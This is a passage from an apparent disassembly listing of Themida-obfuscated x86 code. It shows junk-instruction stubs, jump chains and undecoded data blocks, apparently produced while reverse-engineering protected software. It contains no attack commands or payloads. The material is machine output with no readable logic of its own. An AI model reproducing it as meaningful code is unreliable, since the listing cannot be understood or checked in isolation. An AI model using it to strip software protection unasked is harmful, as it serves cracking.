		dd 0EC81243Ch, 4, 89241C89h, 0E04EE9E3h, 0DB680000h, 8900000Ah
		dd 0D5B42404h, 0EC80CCFEh, 6860h, 24280000h, 24248A24h
		dd 81E38953h, 4C3h, 4C38300h, 5C241C87h, 8034CC80h, 0E30841C4h
		dd 0D2C9E9h, 3C895C00h,	0E9E78924h, 76B9h, 240C8B66h, 185BE9h
		dd 4B85000h, 0E9000000h, 5CBAh
; ---------------------------------------------------------------------------


loc_561470:				; CODE XREF: Themida_:0055E2A1j
		inc	ecx
		push	ebx
		mov	ebx, 70C723AAh
		or	ecx, ebx
		pop	ebx
		inc	ecx
		xor	ecx, 7DEF27F2h
		jmp	loc_566B0C
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 4C48304h, 4C281h, 0C2810000h, 4, 0E9241433h,	5770h
; ---------------------------------------------------------------------------


loc_5614A0:				; CODE XREF: Themida_:0056FA4Aj
		xor	edx, eax
		pop	eax
		mov	ecx, edx
		pop	edx
		jmp	loc_56B7DC
; ---------------------------------------------------------------------------
		db 1
		dd 50B905D0h, 875A18FCh, 0E95C2404h, 0EE5Ch
; ---------------------------------------------------------------------------


loc_5614BC:				; CODE XREF: Themida_:0056A569j
		push	esi
		jmp	loc_570512
; ---------------------------------------------------------------------------
		dw 0F749h
		dd 0FFC181D1h, 49FFFFFFh, 0FFFFC181h, 0F181FFFFh, 0CF25F642h
		dd 0E70AE9h
		db 0
; ---------------------------------------------------------------------------


loc_5614DD:				; CODE XREF: Themida_:0055B9FEj
		add	eax, 3464119h
		sub	eax, ecx
		jmp	loc_568ADF
; ---------------------------------------------------------------------------
		db 55h,	0F7h, 14h
		dd 0B1F2E924h, 815F0000h, 0AD25FBE1h, 3A61685Ah, 2C890000h
		dd 3895BD24h, 0ED8143AAh, 31872299h, 139BE581h,	6823FBh
		dd 0E9000000h, 0C176h, 1068525Bh, 0E900000Dh, 5ABEh
; ---------------------------------------------------------------------------


loc_561528:				; CODE XREF: Themida_:0056D68Dj
		dec	ebx
		jmp	loc_5643BC
; ---------------------------------------------------------------------------
		dw 3FBAh
		dd 8976AC1Bh, 24148BD5h, 4C481h, 0ED810000h, 72491150h
		dd 0E905E5C1h, 0FFFFEB84h
; ---------------------------------------------------------------------------


loc_56154C:				; CODE XREF: Themida_:005643B7j
		mov	[esp], ebx
		mov	ebx, edi
		push	ebx
		push	ebp
		push	esi
		push	7A3F6912h
		pop	esi
		jmp	loc_5673C0
; ---------------------------------------------------------------------------
		db 81h
		dd 35058AEDh, 8BEE897Dh, 8953242Ch, 4C381E3h, 83000000h
		dd 1C8704C3h, 0B9515C24h, 7B61754Dh, 5FFFC981h,	814979DEh
		dd 35387CC9h, 2AF18113h, 29346E60h, 0C3A7E9CDh,	4C8AFFFFh
		dd 54880224h, 5A660224h, 8981E9h, 2EC8100h, 66000000h
		dd 0B6241489h, 2CFB0429h, 0EF83E918h, 0C4810000h, 4, 3B4368h
		dd 242C8900h, 468h, 242C8B00h, 81E28952h, 4C2h,	4C28300h
		dd 0C306E9h, 24148B00h,	5E08950h, 4, 60C0B951h,	0BA525258h
		dd 1, 0FFC9AFE9h, 5FFA01FFh, 0FFCDEDE9h, 52C8FEFFh, 0E2C0BFB2h
		dd 5C40E908h, 68660000h, 0DEE938E0h, 68FFFFF2h,	50BCh
		dd 0BA241489h, 37D314AAh, 68BE564Ah, 0E957EF2Dh, 0CDC3h
; ---------------------------------------------------------------------------


loc_561638:				; CODE XREF: Themida_:00564425j
		neg	eax
		push	edx
		jmp	loc_56EAC9
; ---------------------------------------------------------------------------


loc_561640:				; CODE XREF: Themida_:0056699Bj
		pop	esi
		neg	ebp
		shr	ebp, 6
		jmp	loc_55BF0D
; ---------------------------------------------------------------------------
		db 30h
		dd 0C6FE59CEh, 2CDAF680h, 4F000C3h, 2434FFC3h, 7A1AE95Ah
		dd 0F7660000h, 0E99C241Ch, 0FFFF9EE9h, 75B0BB53h, 0DA293810h
		dd 2434FF5Bh, 4C4815Eh,	0E9000000h, 0FFFF9ED1h,	240C875Fh
		dd 6624248Bh, 9C2404FFh, 0FF9EC0E9h, 24248BFFh,	5702C783h
		dd 5325E9h, 24043300h, 33240431h, 0C9E92404h
		db 58h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5616AF:				; CODE XREF: Themida_:00566E54j
		mov	edi, 5EC838DDh
		or	edi, 6D915E0Dh
		shl	edi, 7
		jmp	loc_55CA99
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48324h, 8104C483h,	83E295EFh, 0FFFB3133h, 0E4E92434h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5616DB:				; CODE XREF: Themida_:0055E262j
		push	ecx
		push	2987D17h
		pop	ecx
		push	eax
		mov	eax, 79554834h
		sub	eax, 69E01714h
		and	eax, 40774EB9h
		jmp	loc_55D033
; ---------------------------------------------------------------------------
		db 0F6h
		dd 0D1F680D6h, 0B854E950h, 83590000h, 2C8704C5h, 24248B24h
		dd 0EE47E952h, 0E95E0000h, 25C1h, 5C240C87h, 81242489h
		dd 42404h, 148B0000h, 4C48324h,	4EC8153h, 89000000h, 0A7BD242Ch
		dd 875C7946h, 87D1F7CDh, 0DE51E9CDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561746:				; CODE XREF: Themida_:0056A15Cj
		xor	edx, esi
		pop	esi
		jmp	loc_56A7EA
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48324h, 81E18951h,	4C1h, 0F7B6E900h, 8957FFFFh, 4C781E7h
		dd 83000000h, 0DEE904C7h, 89FFFFC5h, 4C381E3h, 0E9000000h
		dd 0A6B0h, 5C241C33h, 0D1A9E9h,	0EDB96600h, 0D7F2E910h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561792:				; CODE XREF: Themida_:0055EF86j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_5682FB
; ---------------------------------------------------------------------------


loc_5617A6:				; CODE XREF: Themida_:00566887j
		not	eax
		inc	eax
		add	eax, 9010403h
		add	edx, eax
		pop	eax
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_56100B
; ---------------------------------------------------------------------------


loc_5617C5:				; CODE XREF: Themida_:005625BAj
		mov	bl, 9Dh
		mov	cl, bl
		pop	ebx
		add	cl, 6Eh
		xor	dl, cl
		pop	ecx
		jmp	loc_5694D5
; ---------------------------------------------------------------------------


loc_5617D5:				; CODE XREF: Themida_:0056DC17j
		mov	edx, [esp]
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		push	ebp
		push	800000h
		jmp	loc_56A856
; ---------------------------------------------------------------------------
		dw 0E500h
		dd 0F67EB753h, 0BDEF80DFh, 0F607E7C0h, 0BAB450DFh, 58E730h
		dd 48B5BFDh, 4C48124h, 0E9000000h, 782Fh
; ---------------------------------------------------------------------------


loc_561818:				; CODE XREF: Themida_:0055BA32j
		mov	[esp], ebx
		jmp	loc_55C2A6
; ---------------------------------------------------------------------------
		dd 885AF488h, 2FE958E1h, 5CFFFFB4h, 4EC81h, 1C890000h
		dd 26CBBB24h, 0BE56F6ACh, 1F183AA7h, 295EF229h,	0A7C281DAh
		dd 0E91F183Ah, 13C4h, 4C681h, 0A0E90000h, 0C100005Ch, 0DEE908E1h
		dd 59FFFFDEh, 36DD6853h, 0A2E93E7Bh
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56186F:				; CODE XREF: Themida_:0055CA94j
		mov	edx, ebp
		push	59B5h
		mov	[esp], edx
		sub	dword ptr [esp], 3FF7CCDh
		pop	ebx
		push	edi
		mov	edi, 3FF7CCDh
		add	ebx, 70610845h
		add	ebx, 4D7338D3h
		add	ebx, edi
		jmp	loc_564E56
; ---------------------------------------------------------------------------
		dw 9805h
		dd 16F9035h, 35982DF0h,	2EE96F90h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5618AB:				; CODE XREF: Themida_:00567D08j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		jmp	loc_563C15
; ---------------------------------------------------------------------------
		db 0BBh, 2, 0
		dd 0ED810000h, 1EDF54AEh, 0C581DD01h, 1EDF54AEh, 5B2434FFh
		dd 0D16FE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5618DE:				; CODE XREF: Themida_:0056EBB7j
		push	edx
		mov	edx, 63FB56F6h
		jmp	loc_5689AC
; ---------------------------------------------------------------------------


loc_5618E9:				; CODE XREF: Themida_:00567182j
		add	ebx, 4C0FBEEEh
		add	ebp, ebx
		pop	ebx
		jmp	loc_562C65
; ---------------------------------------------------------------------------
		db 68h
		dd 7D3Eh, 83242489h, 5B042404h,	0FFB515E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561909:				; CODE XREF: Themida_:0055C015j
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]


loc_561912:				; CODE XREF: Themida_:0056B479j
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		sub	dword ptr [esp], 64FF7986h
		jmp	loc_563997
; ---------------------------------------------------------------------------
aSck		db '\',9,'Âéæk',0
		align 10h


loc_561930:				; CODE XREF: Themida_:00563F72j
		mov	[esp], eax
		jmp	loc_56F053
; ---------------------------------------------------------------------------
		dd 5324048Bh, 0C381E389h, 4, 4C381h, 1C870000h,	0C3835C24h
		dd 0AFF8E902h, 4BDFFFFh, 0E9000000h, 9B5Fh, 0C004EBC0h
		dd 0F38002EBh, 0F39CE9A2h, 0C381FFFFh, 1D114B42h, 0EB81C301h
		dd 1D114B42h, 241C8758h, 0FFE97DE9h, 4C383FFh, 31241C33h
		dd 6E9241Ch, 68FFFFE9h,	4A6Dh, 0BF243C89h, 0B90AB6FFh
		dd 0DF7B692Dh, 0E9F82952h, 0C66h, 0E6303AB4h, 11C66858h
		dd 4890000h, 661DB024h,	0F6C68852h, 66F088D6h, 8324148Bh
		dd 0CCE902C4h, 5800008Bh, 3F71E9h, 1BF5700h, 159584Ch
		dd 0EC0FE9FBh, 6EE90000h, 0BBFFFF9Bh, 4FED3C35h, 815BDF89h
		dd 0C3E61C6h, 81FE0159h, 0C3E61EEh, 243C8B59h, 0E904C483h
		dd 7E70h, 6619E681h, 0ABE923A1h, 66FFFFE0h, 0C7E99C50h
		dd 29FFFFC8h, 0CB95E9D0h, 0E959FFFFh, 812Bh
; ---------------------------------------------------------------------------


loc_561A28:				; CODE XREF: Themida_:0055D77Dj
		xchg	ebp, [esp]
		jmp	loc_565668
; ---------------------------------------------------------------------------
		dd 2D1F93B8h, 58C2313Ch, 0CFB9515Dh, 0E9345D17h, 35C9h
		dd 159CB89h, 5B04245Ch,	40558h,	13680000h, 0E9000009h
		dd 0FFFFCABBh
; ---------------------------------------------------------------------------


loc_561A5C:				; CODE XREF: Themida_:00560C9Fj
		add	bh, 0FFh
		not	bh
		push	ecx
		mov	ch, 3Ah
		sub	ch, 0CEh
		jmp	loc_56C64C
; ---------------------------------------------------------------------------


loc_561A6C:				; CODE XREF: Themida_:00563830j
		xor	ebp, 463F195Ch
		jmp	loc_55CC6B
; ---------------------------------------------------------------------------
		db 81h
		dd 0C30A7DE9h, 81C12901h, 0C30A7DC1h, 24E95801h
		db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561A8B:				; CODE XREF: Themida_:0056CE7Aj
		or	ebx, edx
		pop	edx
		jmp	loc_560357
; ---------------------------------------------------------------------------
		db 89h
		dd 8FBF243Ch, 0C161BE5Dh, 0C78107E7h, 20D13884h, 0C5CED81h
		dd 0FD017C4Fh, 0C5CC581h, 34FF7C4Fh, 89505F24h,	405E0h
		dd 0BB530000h, 4, 875BD801h, 815C2404h,	4C5h, 0D836E900h
		dd 0E95BFFFFh, 0FFFFD892h
; ---------------------------------------------------------------------------


loc_561ADC:				; CODE XREF: Themida_:00568E34j
		add	edx, 2DEB8511h
		shl	edx, 1
		neg	edx
		sub	edx, 1
		jmp	loc_55C4F2
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 81243C8Bh, 4C4h, 4C48100h, 81000000h, 4C4h
		dd 0A6FEE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561B0E:				; CODE XREF: Themida_:0056FCA9j
		sub	ebx, edi
		pop	edi
		pop	edi
		mov	edx, [esp]
		add	esp, 4
		push	edi
		mov	edi, ebx
		mov	eax, edi
		pop	edi
		mov	ebx, [esp]
		add	esp, 4
		pop	ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		push	eax
		mov	eax, 4
		sub	edx, eax
		mov	eax, [esp]
		jmp	loc_55D764
; ---------------------------------------------------------------------------
		dd 0E9241431h, 0C1F6h, 5704EF83h, 42474FFh, 83243C8Bh
		dd 48F04C4h, 4895C24h, 6D8DB824h, 0D1E934C8h, 0E9000088h
		dd 0FFFF99E5h, 0E9240C89h, 8905h, 0D1F7D1F7h, 5B60C181h
		dd 0CF016D24h, 0E9FD0159h, 0CCA4h, 39E95E54h, 5E000083h
		dd 789EBB53h, 0D9014257h, 5BD555Bh, 313310EEh, 0C8315DE9h
		dd 592434FFh, 4C481h, 1BE90000h, 2C0000B0h, 271AE9F1h
		dd 95BF0000h, 314DE444h, 31685FFDh, 0E9000025h,	89EBh
		dd 24048B66h, 0AC40E9h,	4C68300h, 0E9243487h, 1E08h
; ---------------------------------------------------------------------------


loc_561BE4:				; CODE XREF: Themida_:0056E8CBj
		push	ebx
		mov	ebx, 4
		add	edx, 79F9737Dh
		add	edx, ebx
		sub	edx, 79F9737Dh
		pop	ebx
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		push	5990h
		mov	[esp], eax
		push	0E851A8h
		jmp	loc_560A8A
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0E38953FDh, 2BB5BE56h, 81466328h,	0D7D44EC6h, 0ACFCE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561C3A:				; CODE XREF: Themida_:0056782Dj
		push	ebx
		mov	ebx, 0F6C472Dh
		and	ebx, 71F52C21h
		add	ebx, 30EE2B5Bh
		add	ebx, 2F5C7790h
		add	ebx, 1620D77Ah
		add	esi, 400016A4h
		add	esi, ebx
		sub	esi, 400016A4h
		jmp	loc_563704
; ---------------------------------------------------------------------------
		db 5Eh
		dd 3566BE56h, 0F201E59Bh, 8BD6315Eh, 0AEE92414h
		db 78h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_561C7F:				; CODE XREF: Themida_:0056AC98j
		mov	eax, 4
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		push	1CBAh
		mov	[esp], ebx
		push	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_56E9E5
; ---------------------------------------------------------------------------


loc_561CA7:				; CODE XREF: Themida_:0056C3E4j
		push	444Ch
		mov	[esp], edx
		mov	edx, 4A1C03C2h
		sub	edi, 21F6662Ch
		sub	edi, edx
		jmp	loc_56A7D2
; ---------------------------------------------------------------------------


loc_561CC1:				; CODE XREF: Themida_:0056BEA6j
		shl	ch, 6
		xor	ch, 52h
		sub	al, ch
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_566982
; ---------------------------------------------------------------------------


loc_561CD5:				; CODE XREF: Themida_:005609ECj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_566CE6
; ---------------------------------------------------------------------------
		dd 0FF5DEE29h, 6CE92434h, 0C100000Eh, 0EDC103E5h, 89535004h
		dd 4C381E3h, 0E9000000h, 5125h,	1C8BF830h, 4EC8124h, 89000000h
		dd 0EC832404h, 24248904h, 0FF9B94E9h, 2EC81FFh,	66000000h
		dd 0B5240C89h, 0FFED8057h, 0E9D6ED80h, 0AB36h, 25AB685Ah
		dd 1C890000h, 4EC8124h,	54000000h, 0E924048Fh, 0BF7Eh
; ---------------------------------------------------------------------------


loc_561D4C:				; CODE XREF: Themida_:0055F7BEj
		push	dword ptr [esp+4]
		jmp	loc_56BF80
; ---------------------------------------------------------------------------
		db 87h,	4, 24h
		dd 8124248Bh, 0A145E3C3h, 68C30119h, 4A04h, 0D797E9h, 24143300h
		dd 2424D25Ch, 97DBE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561D7A:				; CODE XREF: Themida_:005658FDj
		and	bh, dl
		jmp	loc_564457
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 87000000h, 8F5C2434h, 665C2404h, 0E99CC885h,	0FFFFA7F9h
; ---------------------------------------------------------------------------


loc_561D98:				; CODE XREF: Themida_:00565A28j
		sub	esp, 4
		mov	[esp], eax
		push	3D3C2919h
		pop	eax
		jmp	loc_56433C
; ---------------------------------------------------------------------------
aTS6		db 'T]é`6',0
		align 10h


loc_561DB0:				; CODE XREF: Themida_:0055B8DBj
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		and	eax, edx
		pop	edx
		or	eax, eax
		jz	loc_567272
		push	5F6h
		mov	[esp], eax
		mov	eax, 1Ch
		add	eax, edi
		jmp	loc_5668C1
; ---------------------------------------------------------------------------
		db 89h
		dd 0EC83240Ch, 9D81E904h, 0C87FFFFh, 48F5C24h, 0E2685C24h
		dd 89000047h, 58E92434h, 29000012h, 243C8BF8h, 17BCE9h
		dd 0C3805B00h, 9413E97Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561E12:				; CODE XREF: Themida_:0056B43Fj
		xor	ebp, 17CB1A96h
		dec	ebp
		xchg	edx, ebp
		jmp	loc_55F4DD
; ---------------------------------------------------------------------------
		dd 977FE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561E26:				; CODE XREF: Themida_:0055F1AFj
		pop	edi
		xor	ebx, [esp]
		jmp	loc_567884
; ---------------------------------------------------------------------------


loc_561E2F:				; CODE XREF: Themida_:0055C567j
		xchg	eax, [edi+24h]
		add	eax, 1
		xor	[edi+24h], eax
		jmp	loc_567BBE
; ---------------------------------------------------------------------------
		db 59h,	81h, 0C4h
		dd 4, 0D0E9F320h
		db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561E4B:				; CODE XREF: Themida_:00566633j
		mov	ecx, ebx
		jmp	loc_563440
; ---------------------------------------------------------------------------
		dw 0B60Fh
		dd 8BF1E9C0h, 88530000h, 5BFA88EFh, 592434FFh, 0E904C483h
		dd 465Dh, 0E9240C8Bh, 570Ch, 7954E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561E7A:				; CODE XREF: Themida_:0055FD95j
		mov	ebp, 1
		and	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		push	esi
		push	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_562272
; ---------------------------------------------------------------------------
		dw 0E268h
		dd 89000016h, 2BA2414h,	81000000h, 9E1EEAEBh, 0E9D3014Bh
		dd 8A96h, 525AD629h, 194C64BAh,	90EA8112h, 0E9582239h
		dd 8BC2h
; ---------------------------------------------------------------------------


loc_561ED0:				; CODE XREF: Themida_:0056B59Aj
		push	dword ptr [esp]
		jmp	loc_56D41B
; ---------------------------------------------------------------------------
		dd 0CF885366h, 0F988D7F6h, 0D1F65B66h, 522CC180h, 0F788CE88h
		dd 240C8B5Ah, 1E95E9h
		db 0
; ---------------------------------------------------------------------------


loc_561EF5:				; CODE XREF: Themida_:00568666j
		add	bl, 0B7h
		add	al, bl
		pop	ebx
		jmp	loc_562A41
; ---------------------------------------------------------------------------


loc_561F00:				; CODE XREF: Themida_:0056826Bj
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_56B5C3
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
aStsmt		db 'STéMT',0
		db 0
; ---------------------------------------------------------------------------


loc_561F17:				; CODE XREF: Themida_:00567908j
		push	edi
		mov	edi, 25E93040h
		inc	edi
		sub	edi, 21890122h
		xor	ecx, edi
		jmp	loc_56DCAC
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 241C8900h, 0C67FE9h, 40500h, 42D0000h,	87000000h
		dd 895C2404h, 40E9240Ch, 81000096h, 4C4h, 3CF12D00h, 0E8292810h
		dd 103CF105h, 2434FF28h, 0FFEC8EE9h, 6AE956FFh
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561F6F:				; CODE XREF: Themida_:0056B85Dj
		add	dword ptr [esp], 73071EE3h
		jmp	loc_56B2B5
; ---------------------------------------------------------------------------
		db 5Bh
		dd 2BE9C830h, 53FFFFD0h, 0C13B6DBBh, 2AE38141h,	8165BA68h
		dd 1F6F6FF3h, 34F38132h, 893F3A60h, 0D0F75BD8h,	8106E0C1h
		dd 4ECh, 24048900h, 0E9242C31h,	0BDCAh
; ---------------------------------------------------------------------------


loc_561FB4:				; CODE XREF: Themida_:00560B68j
		mov	ebx, 3CD149DEh
		jmp	loc_56BFD1
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 4A95E89h, 0A8C98149h, 0C173D65Bh, 0EEE904E9h, 0E90000D0h
		dd 0FFFF957Dh, 0CDE9DDF7h, 5200003Bh, 782E951h,	0CB310000h
		dd 9DE9D931h
		db 9Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_561FEF:				; CODE XREF: Themida_:0056BC13j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55DEE4
; ---------------------------------------------------------------------------
		db 89h
		dd 0BE562404h, 48DC48C7h, 5504E6C1h, 0FE3AECBDh, 41F58172h
		dd 683F3248h, 3CB9h, 0B8240489h, 1A864B0Eh, 3E03DE05h
		dd 12502D33h, 0B50505A6h, 832E8102h, 0BF57FFE8h, 493D282Ah
		dd 144E781h, 0EFC143E0h, 0A4DAE906h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56205E:				; CODE XREF: Themida_:00560A08j
		add	ebp, 35465513h
		jmp	loc_55C1A1
; ---------------------------------------------------------------------------
		db 2Dh,	4, 0
		dd 4330000h, 24043124h,	8B240433h, 2C892424h, 0E09DE924h
		dd 48B0000h, 0E3895324h, 9291E9h
		db 0
; ---------------------------------------------------------------------------


loc_56208D:				; CODE XREF: Themida_:00568164j
		add	edx, 4
		add	edx, 4
		jmp	loc_5602FA
; ---------------------------------------------------------------------------
		dw 2C81h
		dd 0F9664C24h, 0C2815A66h, 66F9664Ch, 59BD5552h, 1383F29h
		dd 5D04246Ch, 59BF5758h, 29383F29h, 148B5FF8h, 4C48124h
		dd 8B000000h, 0C483242Ch, 58C30104h, 5C241C87h,	24048B66h
		dd 0DF6DE9h, 0D2B05000h, 8CE9C8FEh, 52FFFFADh, 0C281E289h
		dd 4, 4C281h, 14870000h, 83ADE924h, 89510000h, 4BD55E1h
		dd 83000000h, 148904ECh, 38A2BA24h, 0E2D17DC8h,	4790E9h
		dd 0CCEE8100h, 551DBD04h, 0B9E2E956h, 0C283FFFFh, 2E45E904h
		dd 0C1810000h, 4, 4A3DE950h, 53520000h,	8105E9h, 8E5C100h
		dd 0BB0C581h, 0F58134DFh, 0A754F5CBh, 0FFA6D9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562159:				; CODE XREF: Themida_:005613A2j
		xor	dh, 2Dh
		jmp	loc_56A82E
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 0E9000000h, 0FFFFFC15h, 52241C8Bh, 0C2815A54h, 4, 8704C283h
		dd 15C2414h, 6CBB05D8h,	45E9723Dh, 0BE00004Fh, 2C60239h
		dd 5242E9h, 4EC38100h, 112514Dh, 4EEB81CBh, 8112514Dh
		dd 0E56130C3h, 240C8B60h, 81E68956h, 4C6h, 4C68100h, 87000000h
		dd 535C2434h, 42474FFh,	0A705E9h, 5EF70100h, 651E68h, 241C8900h
		dd 2BBh, 7667E900h, 0DD870000h,	18E9D3F7h
		db 2Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5621E7:				; CODE XREF: Themida_:0055DCEAj
		pop	esp
		mov	[esp], ecx
		pop	eax
		mov	ecx, [esp]
		push	ecx
		jmp	loc_56E183
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 411734B9h, 10010507h, 506EDh, 2D38152Ah, 56A80B1Ah
		dd 1A05C801h, 2D56A80Bh, 38152A00h, 0ED10012Dh,	0F665906h
		dd 6AE900B6h
		db 0BBh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_562227:				; CODE XREF: Themida_:00560F91j
		push	small 78D2h
		mov	[esp], ax
		jmp	loc_56CC6C
; ---------------------------------------------------------------------------
		dd 4C481h, 0BD550000h, 44FEC860h, 2C8BEF31h, 4C48124h
		dd 57000000h, 7C2E7E68h, 0F7815F59h, 68F91C70h,	0C76CE9h
		dd 2C77FF00h, 0FFF77DE9h, 81E289FFh, 4C2h, 0B2A4E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562272:				; CODE XREF: Themida_:00561E9Dj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_56CB2D
; ---------------------------------------------------------------------------


loc_56228C:				; CODE XREF: Themida_:0056FB9Fj
		add	eax, 181A6B62h
		jmp	loc_56988B
; ---------------------------------------------------------------------------
		dw 0F181h
		dd 0B6D60DFh, 8101E983h, 0DB64B3E9h, 1F18103h, 19A011Dh
		dd 0CE959CDh
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5622B3:				; CODE XREF: Themida_:00567EEAj
		push	ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		push	edi
		mov	edi, 4
		sub	ebx, edi
		pop	edi
		jmp	loc_565A19
; ---------------------------------------------------------------------------
		db 66h
		dd 6824048Bh, 636Eh
		db 89h,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_565DAB
; ---------------------------------------------------------------------------
		db 5Dh,	8Bh, 1Ch
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55D089
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 70h
		dd 817C6022h, 54548EEh,	243C8B05h, 4C481h, 0C3810000h
		dd 426E7CC7h, 0EB81F301h, 426E7CC7h, 0FFB9C8E9h, 52FDBAFFh
		dd 1E9720Fh
		db 0CFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_562337:				; CODE XREF: Themida_:0056ACC4j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_563F71
; ---------------------------------------------------------------------------
aBs2Ss		db 'é)2~',9,'éáÊ',0
		dw 8100h
		dd 5C4F5AE7h, 81D7F758h, 7DA696EFh, 5FF801B0h, 35E9C829h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56236B:				; CODE XREF: Themida_:0056F1D3j
		pop	ebx
		sub	esp, 4
		jmp	loc_56F861
; ---------------------------------------------------------------------------
		dd 0FFCA895Ah, 83592434h, 0C20104C4h, 0A819E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562386:				; CODE XREF: Themida_:0055F9D9j
		pop	eax
		inc	ecx
		add	ecx, 3DC01D28h
		jmp	loc_56AE94
; ---------------------------------------------------------------------------
		db 81h
		dd 0C87302EBh, 0E9C3293Fh, 0BF81h, 0E924248Bh, 2667h, 5C6EA81h
		dd 30E9DB3Ch, 0BA0000C7h, 3E395E7Ch, 0DD8CE9h, 68E68100h
		dd 816A022Bh, 52BE9C6h,	69A6683Fh, 14890000h, 0C29E924h
		dd 2C310000h, 641FE924h, 26B50000h, 0CCF580h, 0E95259E8h
		dd 0DF8Ah
; ---------------------------------------------------------------------------


loc_5623EC:				; CODE XREF: Themida_:005634A7j
		pop	eax
		jmp	loc_56E5DD
; ---------------------------------------------------------------------------
aYxssL		db 'YXSéÆl',0
		align 2
		dw 0FB29h
		dd 83243C8Bh, 0E95D04C4h, 0FFFFCE30h, 0EBC3815Dh, 1608871h
		dd 483AE9EBh, 4810000h,	424h, 242C8B00h, 6804C483h, 3809h
		dd 0E9240489h, 6A9Dh, 24148B54h, 139568h, 242C8900h, 0E956E589h
		dd 13F1h, 0C681D6F7h, 0FFFFFFFFh, 9CDBF681h, 5357BC91h
		dd 5FD3B951h, 0E1C12055h, 0F3F9E908h, 0EC83FFFFh, 242C8904h
		dd 3569E9h, 58545000h, 405h, 40500h, 4330000h, 24043124h
		dd 0E9240433h, 85E0h, 0E904C783h, 0FFFF9F1Bh
; ---------------------------------------------------------------------------


loc_562490:				; CODE XREF: Themida_:00566DEBj
		sub	ebp, 0B58287B6h
		and	ebx, ebp
		pop	ebp
		sub	ebx, 1
		jmp	loc_565B25
; ---------------------------------------------------------------------------


loc_5624A4:				; CODE XREF: Themida_:00560097j
		push	3B1Fh
		jmp	loc_562CA7
; ---------------------------------------------------------------------------
		dw 5EBDh
		dd 0F72E391Eh, 8AE94DDDh, 5CFFFFFCh, 9998E9h, 4C48100h
		dd 0E9000000h, 0FFFFBD49h, 0EC83D089h, 24348904h, 0F189C689h
